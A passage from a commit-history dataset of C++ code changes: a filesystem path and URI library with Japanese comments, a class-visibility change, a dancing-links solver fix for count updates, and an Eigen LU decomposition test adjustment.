(*(itr0+2) == '\\\\' && *(itr0+3) == '.')) {\n\t\t\t\t\t\t\t\t\/\/ セグメントを1つ戻す\n\t\t\t\t\t\t\t\tAssert(Trap, !rl.empty())\n\t\t\t\t\t\t\t\trl.pop_back();\n\t\t\t\t\t\t\t\tbIgnore = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(!bIgnore)\n\t\t\t\t\t\trl.emplace_back(itr0, itr);\n\t\t\t\t\titr0 = ++itr;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\t++itr;\n\t\t}\n\t\tif(itr0 != itr)\n\t\t\trl.emplace_back(itr0, itr);\n\t\treturn rl;\n\t}\n\tvoid Dir::_EnumEntryRegEx(RegexItr itr, RegexItr itrE, std::string& lpath, size_t baseLen, EnumCB cb) {\n\t\tif(itr == itrE)\n\t\t\treturn;\n\n\t\tsize_t pl = lpath.size();\n\t\tDirDep::EnumEntry(lpath, [=, &lpath, &cb](const PathCh* name, bool) {\n\t\t\tif(name[0]==PathCh(DOT)) {\n\t\t\t\tif(name[1]==PathCh(EOS) || name[1]==PathCh(DOT))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\tstd::string s(To8Str(name).moveTo());\n\t\t\tboost::smatch m;\n\t\t\tif(boost::regex_match(s, m, *itr)) {\n\t\t\t\tif(lpath.back() != SC)\n\t\t\t\t\tlpath += SC;\n\t\t\t\tlpath += s;\n\t\t\t\tif(DirDep::IsDirectory(ToPathStr(lpath))) {\n\t\t\t\t\tif(itr+1 != itrE)\n\t\t\t\t\t\t_EnumEntryRegEx(itr+1, itrE, lpath, baseLen, cb);\n\t\t\t\t\telse\n\t\t\t\t\t\tcb(Dir(lpath));\n\t\t\t\t} else\n\t\t\t\t\tcb(Dir(lpath));\n\t\t\t\tlpath.resize(pl);\n\t\t\t}\n\t\t});\n\t}\n\tvoid Dir::_EnumEntry(const std::string& \/*s*\/, const std::string& path, EnumCB cb) {\n\t\tDirDep::EnumEntry(path, [&cb](const PathCh* name, bool \/*bDir*\/) {\n\t\t\tPathStr s(ToPathStr(name).moveTo());\n\t\t\tif(s == name)\n\t\t\t\tcb(Dir(s));\n\t\t});\n\t}\n\tvoid Dir::EnumEntryRegEx(const std::string& r, EnumCB cb) {\n\t\tif(r.empty())\n\t\t\treturn;\n\t\tstd::string path;\n\t\t\/\/ 絶対パスの時は内部パスを無視する\n\t\tint ofs = 0;\n\t\tbool bAbs = false;\n\t\tif(r[0] == '\/') {\n\t\t\t#ifdef WIN32\n\t\t\t\tAssert(Throw, false, \"invalid absolute path\")\n\t\t\t#endif\n\t\t\tpath += '\/';\n\t\t\tofs = 1;\n\t\t\tbAbs = true;\n\t\t} else if(auto letter = _GetDriveLetter(&r[0], &r[0] + r.length())) {\n\t\t\t\/\/ windowsの場合のみドライブ文字を出力\n\t\t\t#ifdef WIN32\n\t\t\t\tpath += *letter;\n\t\t\t\tpath += ':';\n\t\t\t#else\n\t\t\t\tpath += '\/';\n\t\t\t#endif\n\t\t\tofs = 2;\n\t\t\tbAbs = true;\n\t\t}\n\t\tif(!bAbs)\n\t\t\tpath += \".\/\";\n\n\t\ttry {\n\t\t\tRegexL rl = _ParseRegEx(r.substr(ofs));\n\t\t\t_EnumEntryRegEx(rl.begin(), rl.end(), path, path.size()+1, cb);\n\t\t} catch(const boost::regex_error& e) {\n\t\t\t\/\/ 正規表現に何かエラーがある時は単純に文字列比較とする\n\t\t\t_EnumEntry(r, path, cb);\n\t\t}\n\t}\n\tbool Dir::isFile() const {\n\t\treturn DirDep::IsFile(plain_utf32());\n\t}\n\tbool Dir::isDirectory() const {\n\t\treturn DirDep::IsDirectory(plain_utf32());\n\t}\n\tvoid Dir::remove() const {\n\t\tDirDep::Remove(plain_utf32());\n\t}\n\tvoid Dir::copy(const std::string& to) const {\n\t\tDirDep::Copy(plain_utf32(), to);\n\t}\n\tvoid Dir::move(const std::string& to) const {\n\t\tDirDep::Move(plain_utf32(), to);\n\t}\n\tvoid Dir::mkdir(uint32_t mode) const {\n\t\tPathReset preset;\n\t\tif(isAbsolute())\n\t\t\tDirDep::Chdir(SC_P);\n\t\tmode |= FStatus::UserRWX;\n\n\t\tint nsg = segments();\n\t\tstd::string ns;\n\t\tint i;\n\t\t\/\/ 最初のパスから1つずつ存在確認\n\t\tfor(i=0 ; i<nsg ; i++) {\n\t\t\tns = getSegment_utf8(i,i+1);\n\t\t\tif(!DirDep::Chdir_nt(ns))\n\t\t\t\tbreak;\n\t\t}\n\t\tif(i == nsg)\n\t\t\treturn;\n\n\t\t\/\/ パスがファイルだったら失敗とする\n\t\tAssert(Throw, !DirDep::IsFile(ns), \"there is file at the path\")\n\t\tfor(;;) {\n\t\t\tDirDep::Mkdir(ns, mode);\n\t\t\tDirDep::Chdir(ns);\n\t\t\tif(++i == nsg)\n\t\t\t\tbreak;\n\t\t\tns = getSegment_utf8(i,i+1);\n\t\t}\n\t}\n\tvoid Dir::_chmod(PathBlock& lpath, ModCB cb) {\n\t\tDirDep::EnumEntry(lpath.plain_utf32(), [&lpath, this, cb](const PathCh* name, bool) {\n\t\t\tlpath <<= name;\n\t\t\tif(ChMod(lpath, cb))\n\t\t\t\t_chmod(lpath, cb);\n\t\t\tlpath.popBack();\n\t\t});\n\t}\n\tbool Dir::ChMod(const PathBlock& pb, ModCB cb) {\n\t\tToPathStr path = pb.plain_utf32();\n\t\tFStatus fstat = DirDep::Status(path);\n\t\tbool bDir = fstat.flag & FStatus::DirectoryType;\n\t\tif(bDir)\n\t\t\tfstat.flag |= FStatus::UserExec;\n\t\tbool bRecr = cb(pb, fstat);\n\t\tDirDep::Chmod(path, fstat.flag);\n\t\treturn bDir && bRecr;\n\t}\n\tvoid Dir::chmod(ModCB cb) {\n\t\tPathBlock pb(*this);\n\t\tif(ChMod(pb, cb))\n\t\t\t_chmod(pb, cb);\n\t}\n\tvoid Dir::chmod(uint32_t mode) {\n\t\tchmod([mode](const PathBlock&, FStatus& fs) {\n\t\t\tfs.flag = mode;\n\t\t\treturn false;\n\t\t});\n\t}\n\tFILE* Dir::openAsFP(const char* mode) const {\n\t\treturn std::fopen(To8Str(plain_utf32()).getStringPtr(), mode);\n\t}\n\tFStatus Dir::status() const {\n\t\treturn DirDep::Status(plain_utf8());\n\t}\n\tvoid Dir::RemoveAll(const std::string& path) {\n\t\tif(DirDep::IsDirectory(path)) {\n\t\t\tauto prev = Dir::GetCurrentDir();\n\t\t\tDir::SetCurrentDir(path);\n\t\t\t\/\/ 下層のファイルやディレクトリを削除\n\t\t\tEnumEntryWildCard(\"*\", [](const Dir& d){\n\t\t\t\tRemoveAll(d.plain_utf8(true));\n\t\t\t});\n\t\t\tDirDep::Rmdir(path);\n\t\t\tDir::SetCurrentDir(prev);\n\t\t} else\n\t\t\tDirDep::Remove(path);\n\t}\n\tstd::string Dir::plain_utf8(bool bAbs) const {\n\t\tif(bAbs) {\n\t\t\tif(!PathBlock::isAbsolute()) {\n\t\t\t\tPathBlock pb(GetCurrentDir());\n\t\t\t\tpb <<= static_cast<const PathBlock&>(*this);\n\t\t\t\treturn pb.plain_utf8(true);\n\t\t\t}\n\t\t}\n\t\treturn PathBlock::plain_utf8(true);\n\t}\n\tstd::u32string Dir::plain_utf32(bool bAbs) const {\n\t\tif(bAbs) {\n\t\t\tif(!PathBlock::isAbsolute()) {\n\t\t\t\tPathBlock pb(GetCurrentDir());\n\t\t\t\tpb <<= static_cast<const PathBlock&>(*this);\n\t\t\t\treturn pb.plain_utf32(true);\n\t\t\t}\n\t\t}\n\t\treturn PathBlock::plain_utf32(true);\n\t}\n\n\t\/\/ -------------------------- URI --------------------------\n\tconst std::string URI::SEP(u8\":\/\/\");\n\tconst std::u32string URI::SEP32(U\":\/\/\");\n\tURI::URI() {}\n\tURI::URI(URI&& u): PathBlock(std::move(u)), _type(std::move(u._type)) {}\n\tURI::URI(To8Str p) {\n\t\tsetPath(p);\n\t}\n\tURI::URI(To8Str typ, To8Str path): PathBlock(path), _type(typ.moveTo()) {}\n\tURI::URI(To8Str typ, const PathBlock& pb): PathBlock(pb), _type(typ.moveTo()) {}\n\n\tURI& URI::operator = (URI&& u) {\n\t\tstatic_cast<PathBlock&>(*this) = std::move(u);\n\t\t_type = std::move(u._type);\n\t\treturn *this;\n\t}\n\tvoid URI::setPath(To8Str p) {\n\t\tstd::string path(p.moveTo());\n\t\tboost::regex re(\"^([\\\\w\\\\d_]+):\/\/\");\n\t\tboost::smatch m;\n\t\tif(boost::regex_search(path, m, re)) {\n\t\t\t_type = m.str(1);\n\t\t\tPathBlock::setPath(path.substr(m[0].length()));\n\t\t} else\n\t\t\tPathBlock::setPath(std::move(path));\n\t}\n\tconst std::string& URI::getType_utf8() const {\n\t\treturn _type;\n\t}\n\tvoid URI::setType(To8Str typ) {\n\t\t_type = typ.moveTo();\n\t}\n\tconst PathBlock& URI::path() const {\n\t\treturn *this;\n\t}\n\tPathBlock& URI::path() {\n\t\treturn *this;\n\t}\n\tstd::string URI::plainUri_utf8() const {\n\t\tauto ret = _type;\n\t\tret.append(SEP);\n\t\tret.append(plain_utf8());\n\t\treturn ret;\n\t}\n\tstd::u32string URI::plainUri_utf32() const {\n\t\tauto ret = To32Str(_type).moveTo();\n\t\tret.append(SEP32);\n\t\tret.append(plain_utf32());\n\t\treturn ret;\n\t}\n\tbool URI::operator == (const URI& u) const {\n\t\treturn _type == u._type\n\t\t\t\t&& static_cast<const PathBlock&>(*this) == u;\n\t}\n\tbool URI::operator != (const URI& u) const {\n\t\treturn !(this->operator == (u));\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n#if defined(UNIX)\n\t#include \"dir_depLinux.hpp\"\n#elif defined(WIN32)\n\t#include \"dir_depWin.hpp\"\n#else\n\t#error \"unknown OS\"\n#endif\n#include <boost\/regex.hpp>\n\nnamespace spn {\n\t\/\/! ディレクトリ管理\n\tclass Dir : public PathBlock {\n\t\tusing ToStrType = typename DirDep::ToStrType;\n\t\tusing ChType = typename DirDep::ChType;\n\t\tusing StrType = std::basic_string<ChType>;\n\t\tstruct PathReset {\n\t\t\tconst DirDep& dep;\n\t\t\tstd::string cwd;\n\n\t\t\tPathReset(const DirDep& d): dep(d), cwd(dep.getcwd()) {}\n\t\t\t~PathReset() { dep.chdir(cwd); }\n\t\t};\n\n\t\tusing StrList = std::vector<std::string>;\n\t\tusing EnumCB = std::function<void (const PathBlock&)>;\n\t\tusing ModCB = std::function<bool (const PathBlock&, FStatus&)>;\n\t\tDirDep\t_dep;\n\t\tvoid _enumEntryRegExR(const boost::regex& r, std::string& lpath, size_t baseLen, EnumCB cb) const;\n\t\tvoid _enumEntryRegEx(const boost::regex& r, const std::string& path, EnumCB cb) const;\n\t\tvoid _chmod(PathBlock& lpath, ModCB cb);\n\t\tpublic:\n\t\t\tusing PathBlock::PathBlock;\n\t\t\tDir(Dir&& d);\n\n\t\t\tFStatus status() const;\n\t\t\t\/\/! パスまでのディレクトリ構造を作成\n\t\t\t\/*! \\return true=成功(既に同じ構造ができているケース含)\n\t\t\t*\t\t\tfalse=失敗(ファイルが存在するなど) *\/\n\t\t\tvoid mkdir(uint32_t mode) const;\n\t\t\t\/\/! ファイル\/ディレクトリ列挙\n\t\t\t\/*! \\param[in] path 検索パス(正規表現) *\/\n\t\t\tStrList enumEntryRegEx(const boost::regex& r, bool bRecursive) const;\n\t\t\t\/*! \\param[in] path 検索パス(ワイルドカード) *\/\n\t\t\tStrList enumEntryWildCard(const std::string& s, bool bRecursive) const;\n\t\t\tvoid enumEntryRegEx(const boost::regex& r, EnumCB cb, bool bRecursive) const;\n\t\t\tvoid enumEntryWildCard(const std::string& s, EnumCB cb, bool bRecursives) const;\n\t\t\tvoid chmod(ModCB cb);\n\t\t\tvoid chmod(uint32_t mode);\n\t\t\tbool ChMod(const PathBlock& pb, ModCB cb);\n\t\t\tFILE* openAsFP(const char* mode) const;\n\n\t\t\t\/\/! ワイルドカードから正規表現への書き換え\n\t\t\tstatic boost::regex ToRegEx(const std::string& s);\n\t};\n}\n<commit_msg>Dir: 内部型宣言をpublicに変更<commit_after>#pragma once\n#if defined(UNIX)\n\t#include \"dir_depLinux.hpp\"\n#elif defined(WIN32)\n\t#include \"dir_depWin.hpp\"\n#else\n\t#error \"unknown OS\"\n#endif\n#include <boost\/regex.hpp>\n\nnamespace spn {\n\t\/\/! ディレクトリ管理\n\tclass Dir : public PathBlock {\n\t\tpublic:\n\t\t\tusing ToStrType = typename DirDep::ToStrType;\n\t\t\tusing ChType = typename DirDep::ChType;\n\t\t\tusing StrType = std::basic_string<ChType>;\n\t\tprivate:\n\t\t\tstruct PathReset {\n\t\t\t\tconst DirDep& dep;\n\t\t\t\tstd::string cwd;\n\n\t\t\t\tPathReset(const DirDep& d): dep(d), cwd(dep.getcwd()) {}\n\t\t\t\t~PathReset() { dep.chdir(cwd); }\n\t\t\t};\n\n\t\t\tusing StrList = std::vector<std::string>;\n\t\t\tusing EnumCB = std::function<void (const PathBlock&)>;\n\t\t\tusing ModCB = std::function<bool (const PathBlock&, FStatus&)>;\n\t\t\tDirDep\t_dep;\n\t\t\tvoid _enumEntryRegExR(const boost::regex& r, std::string& lpath, size_t baseLen, EnumCB cb) const;\n\t\t\tvoid _enumEntryRegEx(const boost::regex& r, const std::string& path, EnumCB cb) const;\n\t\t\tvoid _chmod(PathBlock& lpath, ModCB cb);\n\t\tpublic:\n\t\t\tusing PathBlock::PathBlock;\n\t\t\tDir(Dir&& d);\n\n\t\t\tFStatus status() const;\n\t\t\t\/\/! パスまでのディレクトリ構造を作成\n\t\t\t\/*! \\return true=成功(既に同じ構造ができているケース含)\n\t\t\t*\t\t\tfalse=失敗(ファイルが存在するなど) *\/\n\t\t\tvoid mkdir(uint32_t mode) const;\n\t\t\t\/\/! ファイル\/ディレクトリ列挙\n\t\t\t\/*! \\param[in] path 検索パス(正規表現) *\/\n\t\t\tStrList enumEntryRegEx(const boost::regex& r, bool bRecursive) const;\n\t\t\t\/*! \\param[in] path 検索パス(ワイルドカード) *\/\n\t\t\tStrList enumEntryWildCard(const std::string& s, bool bRecursive) const;\n\t\t\tvoid enumEntryRegEx(const boost::regex& r, EnumCB cb, bool bRecursive) const;\n\t\t\tvoid enumEntryWildCard(const std::string& s, EnumCB cb, bool bRecursives) const;\n\t\t\tvoid chmod(ModCB cb);\n\t\t\tvoid chmod(uint32_t mode);\n\t\t\tbool ChMod(const PathBlock& pb, ModCB cb);\n\t\t\tFILE* openAsFP(const char* mode) const;\n\n\t\t\t\/\/! ワイルドカードから正規表現への書き換え\n\t\t\tstatic boost::regex ToRegEx(const std::string& s);\n\t};\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"dlx.h\"\n#include <iostream>\nusing namespace std;\n\npair<header *, vector<header *> > initialize(int num_cols) {\n  vector<header *> instance; \n  instance.reserve(num_cols);\n  header * root = new header();\n  for (int i = 0; i < num_cols; ++i) {\n    header * h = new header();\n    instance.push_back(h);\n    h->left = root->left;\n    h->right = root;\n    root->left->right = h;\n    root->left = h;\n  }\n\n  pair<header *, vector<header *> > result(root, instance);\n  return result;\n}\n\nheader * find_least_full(header * root) {\n  header * least = (header *)root->right;\n\n  for(header * iter = least; iter != root; iter = (header *)iter->right) {\n    cout << \"header count = \" << iter->count << endl;\n    if(iter->count < least->count)\n      least = iter;\n  }\n\n  return least;\n}\n\nvoid remove_col(header * col_head) {\n  col_head->right->left = col_head->left;\n  col_head->left->right = col_head->right;\n\n  for(node * r = col_head->down; r != col_head; r = r->down) {\n    node * c = r->right;\n    do {\n      if (!c->removed) {\n        c->down->up = c->up;\n        c->up->down = c->down;\n        --col_head->count;\n\n        c->removed = true;\n      }\n      c = c->right;\n    } while (c != r);\n  }\n}\n\nvoid replace_col(header * col_head) { \n  for(node * r = col_head->up; r != col_head; r = r->up) {\n    node * c = r->left;\n    do {\n      if (c->removed) {\n        c->down->up = c->up;\n        c->up->down = c->down;\n        --col_head->count;\n\n        c->removed = false;\n      }\n      c = c->left;\n    } while (c != r);\n  }\n\n  col_head->right->left = col_head;\n  col_head->left->right = col_head;\n}\n\nvoid count_sols(header * root, int & counter) {\n  cout << \"entering count_sols\" << endl;\n  header * root_left = (header *) root->left;\n  if(root_left->tile == true) {\n    ++counter;\n    cout << \"**** found a solution\" << endl;\n    return;\n  }\n\n  cout << \"checking least full\" << endl;\n  header * least_full = find_least_full(root);\n  if (least_full->count == 0) return;\n  remove_col(least_full);\n  node * next = least_full->down;\n  cout << \"entering while loop\" << endl;\n\n  while(next != least_full) {\n    cout << \"asdf\" << endl;\n    for(node * iter = next->right; iter != next; iter = iter->right)\n      remove_col(iter->col_head);\n    count_sols(root, counter);\n    for(node * iter = next->left; iter != next; iter = iter->left)\n      replace_col(iter->col_head);\n    next = next->down;\n  }\n  replace_col(least_full);\n  cout << \"exiting the while loop\" << endl;\n}\n<commit_msg>fixed inc\/dec<commit_after>#include \"dlx.h\"\n#include <iostream>\nusing namespace std;\n\npair<header *, vector<header *> > initialize(int num_cols) {\n  vector<header *> instance; \n  instance.reserve(num_cols);\n  header * root = new header();\n  for (int i = 0; i < num_cols; ++i) {\n    header * h = new header();\n    instance.push_back(h);\n    h->left = root->left;\n    h->right = root;\n    root->left->right = h;\n    root->left = h;\n  }\n\n  pair<header *, vector<header *> > result(root, instance);\n  return result;\n}\n\nheader * find_least_full(header * root) {\n  header * least = (header *)root->right;\n\n  for(header * iter = least; iter != root; iter = (header *)iter->right) {\n    cout << \"header count = \" << iter->count << endl;\n    if(iter->count < least->count)\n      least = iter;\n  }\n\n  return least;\n}\n\nvoid remove_col(header * col_head) {\n  col_head->right->left = col_head->left;\n  col_head->left->right = col_head->right;\n\n  for(node * r = col_head->down; r != col_head; r = r->down) {\n    node * c = r->right;\n    do {\n      if (!c->removed) {\n        c->down->up = c->up;\n        c->up->down = c->down;\n        --c->col_head->count;\n\n        c->removed = true;\n      }\n      c = c->right;\n    } while (c != r);\n  }\n}\n\nvoid replace_col(header * col_head) { \n  for(node * r = col_head->up; r != col_head; r = r->up) {\n    node * c = r->left;\n    do {\n      if (c->removed) {\n        c->down->up = c->up;\n        c->up->down = c->down;\n        ++c->col_head->count;\n\n        c->removed = false;\n      }\n      c = c->left;\n    } while (c != r);\n  }\n\n  col_head->right->left = col_head;\n  col_head->left->right = col_head;\n}\n\nvoid count_sols(header * root, int & counter) {\n  cout << \"entering count_sols\" << endl;\n  header * root_left = (header *) root->left;\n  if(root_left->tile == true) {\n    ++counter;\n    cout << \"**** found a solution\" << endl;\n    return;\n  }\n\n  cout << \"checking least full\" << endl;\n  header * least_full = find_least_full(root);\n  if (least_full->count == 0) return;\n  remove_col(least_full);\n  node * next = least_full->down;\n  cout << \"entering while loop\" << endl;\n\n  while(next != least_full) {\n    cout << \"asdf\" << endl;\n    for(node * iter = next->right; iter != next; iter = iter->right)\n      remove_col(iter->col_head);\n    count_sols(root, counter);\n    for(node * iter = next->left; iter != next; iter = iter->left)\n      replace_col(iter->col_head);\n    next = next->down;\n  }\n  replace_col(least_full);\n  cout << \"exiting the while loop\" << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra. Eigen itself is part of the KDE project.\n\/\/\n\/\/ Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <Eigen\/LU>\n\ntemplate<typename Derived>\nvoid doSomeRankPreservingOperations(Eigen::MatrixBase<Derived>& m)\n{\n  for(int a = 0; a < 3*(m.rows()+m.cols()); a++)\n  {\n    double d = Eigen::ei_random<double>(-1,1);\n    int i = Eigen::ei_random<int>(0,m.rows()-1); \/\/ i is a random row number\n    int j;\n    do {\n      j = Eigen::ei_random<int>(0,m.rows()-1);\n    } while (i==j); \/\/ j is another one (must be different)\n    m.row(i) += d * m.row(j);\n\n    i = Eigen::ei_random<int>(0,m.cols()-1); \/\/ i is a random column number\n    do {\n      j = Eigen::ei_random<int>(0,m.cols()-1);\n    } while (i==j); \/\/ j is another one (must be different)\n    m.col(i) += d * m.col(j);\n  }\n}\n\ntemplate<typename MatrixType> void lu_non_invertible()\n{\n  \/* this test covers the following files:\n     LU.h\n  *\/\n  \/\/ NOTE lu.dimensionOfKernel() fails most of the time for rows or cols smaller that 11\n  int rows = ei_random<int>(11,200), cols = ei_random<int>(11,200), cols2 = ei_random<int>(11,200);\n  int rank = ei_random<int>(1, std::min(rows, cols)-1);\n\n  MatrixType m1(rows, cols), m2(cols, cols2), m3(rows, cols2), k(1,1);\n  m1 = MatrixType::Random(rows,cols);\n  if(rows <= cols)\n    for(int i = rank; i < rows; i++) m1.row(i).setZero();\n  else\n    for(int i = rank; i < cols; i++) m1.col(i).setZero();\n  doSomeRankPreservingOperations(m1);\n\n  LU<MatrixType> lu(m1);\n  typename LU<MatrixType>::KernelResultType m1kernel = lu.kernel();\n  typename LU<MatrixType>::ImageResultType m1image = lu.image();\n\n  VERIFY(cols - rank == lu.dimensionOfKernel());\n  VERIFY(rank == lu.rank());\n  VERIFY(!lu.isInjective());\n  VERIFY(!lu.isInvertible());\n  VERIFY(lu.isSurjective() == (lu.rank() == rows));\n  VERIFY((m1 * m1kernel).isMuchSmallerThan(m1));\n  VERIFY(m1image.lu().rank() == rank);\n  MatrixType sidebyside(m1.rows(), m1.cols() + m1image.cols());\n  sidebyside << m1, m1image;\n  VERIFY(sidebyside.lu().rank() == rank);\n  m2 = MatrixType::Random(cols,cols2);\n  m3 = m1*m2;\n  m2 = MatrixType::Random(cols,cols2);\n  lu.solve(m3, &m2);\n  VERIFY_IS_APPROX(m3, m1*m2);\n  m3 = MatrixType::Random(rows,cols2);\n  VERIFY(!lu.solve(m3, &m2));\n}\n\ntemplate<typename MatrixType> void lu_invertible()\n{\n  \/* this test covers the following files:\n     LU.h\n  *\/\n  typedef typename NumTraits<typename MatrixType::Scalar>::Real RealScalar;\n  int size = ei_random<int>(10,200);\n\n  MatrixType m1(size, size), m2(size, size), m3(size, size);\n  m1 = MatrixType::Random(size,size);\n\n  if (ei_is_same_type<RealScalar,float>::ret)\n  {\n    \/\/ let's build a matrix more stable to inverse\n    MatrixType a = MatrixType::Random(size,size*2);\n    m1 += a * a.adjoint();\n  }\n\n  LU<MatrixType> lu(m1);\n  VERIFY(0 == lu.dimensionOfKernel());\n  VERIFY(size == lu.rank());\n  VERIFY(lu.isInjective());\n  VERIFY(lu.isSurjective());\n  VERIFY(lu.isInvertible());\n  VERIFY(lu.image().lu().isInvertible());\n  m3 = MatrixType::Random(size,size);\n  lu.solve(m3, &m2);\n  VERIFY_IS_APPROX(m3, m1*m2);\n  VERIFY_IS_APPROX(m2, lu.inverse()*m3);\n  m3 = MatrixType::Random(size,size);\n  VERIFY(lu.solve(m3, &m2));\n}\n\nvoid test_lu()\n{\n  for(int i = 0; i < g_repeat; i++) {\n    CALL_SUBTEST( lu_non_invertible<MatrixXf>() );\n    CALL_SUBTEST( lu_non_invertible<MatrixXd>() );\n    CALL_SUBTEST( lu_non_invertible<MatrixXcf>() );\n    CALL_SUBTEST( lu_non_invertible<MatrixXcd>() );\n    CALL_SUBTEST( lu_invertible<MatrixXf>() );\n    CALL_SUBTEST( lu_invertible<MatrixXd>() );\n    CALL_SUBTEST( lu_invertible<MatrixXcf>() );\n    CALL_SUBTEST( lu_invertible<MatrixXcd>() );\n  }\n}\n<commit_msg>lu test:don't fail<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra. Eigen itself is part of the KDE project.\n\/\/\n\/\/ Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <Eigen\/LU>\n\ntemplate<typename Derived>\nvoid doSomeRankPreservingOperations(Eigen::MatrixBase<Derived>& m)\n{\n  for(int a = 0; a < 3*(m.rows()+m.cols()); a++)\n  {\n    double d = Eigen::ei_random<double>(-1,1);\n    int i = Eigen::ei_random<int>(0,m.rows()-1); \/\/ i is a random row number\n    int j;\n    do {\n      j = Eigen::ei_random<int>(0,m.rows()-1);\n    } while (i==j); \/\/ j is another one (must be different)\n    m.row(i) += d * m.row(j);\n\n    i = Eigen::ei_random<int>(0,m.cols()-1); \/\/ i is a random column number\n    do {\n      j = Eigen::ei_random<int>(0,m.cols()-1);\n    } while (i==j); \/\/ j is another one (must be different)\n    m.col(i) += d * m.col(j);\n  }\n}\n\ntemplate<typename MatrixType> void lu_non_invertible()\n{\n  \/* this test covers the following files:\n     LU.h\n  *\/\n  \/\/ NOTE there seems to be a problem with too small sizes -- could easily lie in the doSomeRankPreservingOperations function\n  int rows = ei_random<int>(20,200), cols = ei_random<int>(20,200), cols2 = ei_random<int>(20,200);\n  int rank = ei_random<int>(1, std::min(rows, cols)-1);\n\n  MatrixType m1(rows, cols), m2(cols, cols2), m3(rows, cols2), k(1,1);\n  m1 = MatrixType::Random(rows,cols);\n  if(rows <= cols)\n    for(int i = rank; i < rows; i++) m1.row(i).setZero();\n  else\n    for(int i = rank; i < cols; i++) m1.col(i).setZero();\n  doSomeRankPreservingOperations(m1);\n\n  LU<MatrixType> lu(m1);\n  typename LU<MatrixType>::KernelResultType m1kernel = lu.kernel();\n  typename LU<MatrixType>::ImageResultType m1image = lu.image();\n\n  VERIFY(rank == lu.rank());\n  VERIFY(cols - lu.rank() == lu.dimensionOfKernel());\n  VERIFY(!lu.isInjective());\n  VERIFY(!lu.isInvertible());\n  VERIFY(lu.isSurjective() == (lu.rank() == rows));\n  VERIFY((m1 * m1kernel).isMuchSmallerThan(m1));\n  VERIFY(m1image.lu().rank() == rank);\n  MatrixType sidebyside(m1.rows(), m1.cols() + m1image.cols());\n  sidebyside << m1, m1image;\n  VERIFY(sidebyside.lu().rank() == rank);\n  m2 = MatrixType::Random(cols,cols2);\n  m3 = m1*m2;\n  m2 = MatrixType::Random(cols,cols2);\n  lu.solve(m3, &m2);\n  VERIFY_IS_APPROX(m3, m1*m2);\n  m3 = MatrixType::Random(rows,cols2);\n  VERIFY(!lu.solve(m3, &m2));\n}\n\ntemplate<typename MatrixType> void lu_invertible()\n{\n  \/* this test covers the following files:\n     LU.h\n  *\/\n  typedef typename NumTraits<typename MatrixType::Scalar>::Real RealScalar;\n  int size = ei_random<int>(10,200);\n\n  MatrixType m1(size, size), m2(size, size), m3(size, size);\n  m1 = MatrixType::Random(size,size);\n\n  if (ei_is_same_type<RealScalar,float>::ret)\n  {\n    \/\/ let's build a matrix more stable to inverse\n    MatrixType a = MatrixType::Random(size,size*2);\n    m1 += a * a.adjoint();\n  }\n\n  LU<MatrixType> lu(m1);\n  VERIFY(0 == lu.dimensionOfKernel());\n  VERIFY(size == lu.rank());\n  VERIFY(lu.isInjective());\n  VERIFY(lu.isSurjective());\n  VERIFY(lu.isInvertible());\n  VERIFY(lu.image().lu().isInvertible());\n  m3 = MatrixType::Random(size,size);\n  lu.solve(m3, &m2);\n  VERIFY_IS_APPROX(m3, m1*m2);\n  VERIFY_IS_APPROX(m2, lu.inverse()*m3);\n  m3 = MatrixType::Random(size,size);\n  VERIFY(lu.solve(m3, &m2));\n}\n\nvoid test_lu()\n{\n  for(int i = 0; i < g_repeat; i++) {\n    CALL_SUBTEST( lu_non_invertible<MatrixXf>() );\n    CALL_SUBTEST( lu_non_invertible<MatrixXd>() );\n    CALL_SUBTEST( lu_non_invertible<MatrixXcf>() );\n    CALL_SUBTEST( lu_non_invertible<MatrixXcd>() );\n    CALL_SUBTEST( lu_invertible<MatrixXf>() );\n    CALL_SUBTEST( lu_invertible<MatrixXd>() );\n    CALL_SUBTEST( lu_invertible<MatrixXcf>() );\n    CALL_SUBTEST( lu_invertible<MatrixXcd>() );\n  }\n}\n<|endoftext|>"}
